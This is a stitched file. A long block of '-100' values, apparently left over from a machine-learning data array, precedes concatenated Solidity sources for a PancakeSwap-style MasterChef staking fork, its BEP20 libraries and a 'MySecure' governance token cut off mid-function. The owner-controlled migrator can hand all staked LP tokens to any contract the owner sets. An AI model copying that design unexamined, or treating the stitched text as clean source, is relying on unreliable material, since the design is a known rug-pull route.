-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.6.12;
import '@pancakeswap/pancake-swap-lib/contracts/math/SafeMath.sol';
import '@pancakeswap/pancake-swap-lib/contracts/token/BEP20/IBEP20.sol';
import '@pancakeswap/pancake-swap-lib/contracts/token/BEP20/SafeBEP20.sol';
import '@pancakeswap/pancake-swap-lib/contracts/access/Ownable.sol';
import "./MySecure.sol";
import "./SyrupBar.sol";
// import "@nomiclabs/buidler/console.sol";
interface IMigratorChef {
// Perform LP token migration from legacy SilverlineSwap to CakeSwap.
// Take the current LP token address and return the new LP token address.
// Migrator should have full access to the caller's LP token.
// Return the new LP token address.
//
// XXX Migrator must have allowance access to SilverlineSwap LP tokens.
// CakeSwap must mint EXACTLY the same amount of CakeSwap LP tokens or
// else something bad will happen. Traditional SilverlineSwap does not
// do that so be careful!
function migrate(IBEP20 token) external returns (IBEP20);
}
// MasterChef is the master of Silver. He can make Silver and he is a fair guy.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once SILVER is sufficiently
// distributed and the community can show to govern itself.
//
// Have fun reading it. Hopefully it's bug-free. God bless.
contract MasterChef is Ownable {
using SafeMath for uint256;
using SafeBEP20 for IBEP20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of SILVERs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accCakePerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accCakePerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IBEP20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. SILVERs to distribute per block.
uint256 lastRewardBlock; // Last block number that SILVERs distribution occurs.
uint256 accCakePerShare; // Accumulated SILVERs per share, times 1e12. See below.
}
// The SILVER TOKEN!
MySecure public cake;
// The SYRUP TOKEN!
SyrupBar public syrup;
// Dev address.
address public devaddr;
// SILVER tokens created per block.
uint256 public cakePerBlock;
// Bonus muliplier for early cake makers.
uint256 public BONUS_MULTIPLIER = 1;
// The migrator contract. It has a lot of power. Can only be set through governance (owner).
IMigratorChef public migrator;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when SILVER mining starts.
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
MySecure _cake,
SyrupBar _syrup,
address _devaddr,
uint256 _cakePerBlock,
uint256 _startBlock
) public {
cake = _cake;
syrup = _syrup;
devaddr = _devaddr;
cakePerBlock = _cakePerBlock;
startBlock = _startBlock;
// staking pool
poolInfo.push(PoolInfo({
lpToken: _cake,
allocPoint: 1000,
lastRewardBlock: startBlock,
accCakePerShare: 0
}));
totalAllocPoint = 1000;
}
function updateMultiplier(uint256 multiplierNumber) public onlyOwner {
BONUS_MULTIPLIER = multiplierNumber;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IBEP20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accCakePerShare: 0
}));
updateStakingPool();
}
// Update the given pool's SILVER allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 prevAllocPoint = poolInfo[_pid].allocPoint;
poolInfo[_pid].allocPoint = _allocPoint;
if (prevAllocPoint != _allocPoint) {
totalAllocPoint = totalAllocPoint.sub(prevAllocPoint).add(_allocPoint);
updateStakingPool();
}
}
function updateStakingPool() internal {
uint256 length = poolInfo.length;
uint256 points = 0;
for (uint256 pid = 1; pid < length; ++pid) {
points = points.add(poolInfo[pid].allocPoint);
}
if (points != 0) {
points = points.div(3);
totalAllocPoint = totalAllocPoint.sub(poolInfo[0].allocPoint).add(points);
poolInfo[0].allocPoint = points;
}
}
// Set the migrator contract. Can only be called by the owner.
function setMigrator(IMigratorChef _migrator) public onlyOwner {
migrator = _migrator;
}
// Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.
function migrate(uint256 _pid) public {
require(address(migrator) != address(0), "migrate: no migrator");
PoolInfo storage pool = poolInfo[_pid];
IBEP20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IBEP20 newLpToken = migrator.migrate(lpToken);
require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
pool.lpToken = newLpToken;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
}
// View function to see pending SILVERs on frontend.
function pendingCake(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accCakePerShare = pool.accCakePerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 cakeReward = multiplier.mul(cakePerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accCakePerShare = accCakePerShare.add(cakeReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accCakePerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 cakeReward = multiplier.mul(cakePerBlock).mul(pool.allocPoint).div(totalAllocPoint);
cake.mint(devaddr, cakeReward.div(10));
cake.mint(address(syrup), cakeReward);
pool.accCakePerShare = pool.accCakePerShare.add(cakeReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to MasterChef for SILVER allocation.
function deposit(uint256 _pid, uint256 _amount) public {
require (_pid != 0, 'deposit SILVER by staking');
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accCakePerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeCakeTransfer(msg.sender, pending);
}
}
if (_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accCakePerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) public {
require (_pid != 0, 'withdraw SILVER by unstaking');
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accCakePerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeCakeTransfer(msg.sender, pending);
}
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accCakePerShare).div(1e12);
emit Withdraw(msg.sender, _pid, _amount);
}
// Stake SILVER tokens to MasterChef
function enterStaking(uint256 _amount) public {
PoolInfo storage pool = poolInfo[0];
UserInfo storage user = userInfo[0][msg.sender];
updatePool(0);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accCakePerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeCakeTransfer(msg.sender, pending);
}
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accCakePerShare).div(1e12);
syrup.mint(msg.sender, _amount);
emit Deposit(msg.sender, 0, _amount);
}
// Withdraw SILVER tokens from STAKING.
function leaveStaking(uint256 _amount) public {
PoolInfo storage pool = poolInfo[0];
UserInfo storage user = userInfo[0][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(0);
uint256 pending = user.amount.mul(pool.accCakePerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeCakeTransfer(msg.sender, pending);
}
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accCakePerShare).div(1e12);
syrup.burn(msg.sender, _amount);
emit Withdraw(msg.sender, 0, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe cake transfer function, just in case if rounding error causes pool to not have enough SILVERs.
function safeCakeTransfer(address _to, uint256 _amount) internal {
syrup.safeCakeTransfer(_to, _amount);
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.0;
interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './IBEP20.sol';
import '../../math/SafeMath.sol';
import '../../utils/Address.sol';
/**
* @title SafeBEP20
* @dev Wrappers around BEP20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeBEP20 for IBEP20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeBEP20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IBEP20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IBEP20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IBEP20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IBEP20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
'SafeBEP20: approve from non-zero to non-zero allowance'
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IBEP20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IBEP20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
'SafeBEP20: decreased allowance below zero'
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IBEP20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, 'SafeBEP20: low-level call failed');
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), 'SafeBEP20: BEP20 operation did not succeed');
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.0;
import '../GSN/Context.sol';
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity 0.6.12;
import "@pancakeswap/pancake-swap-lib/contracts/token/BEP20/BEP20.sol";
// MySecure with Governance.
contract MySecure is BEP20('MySecure', 'MYSEC') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
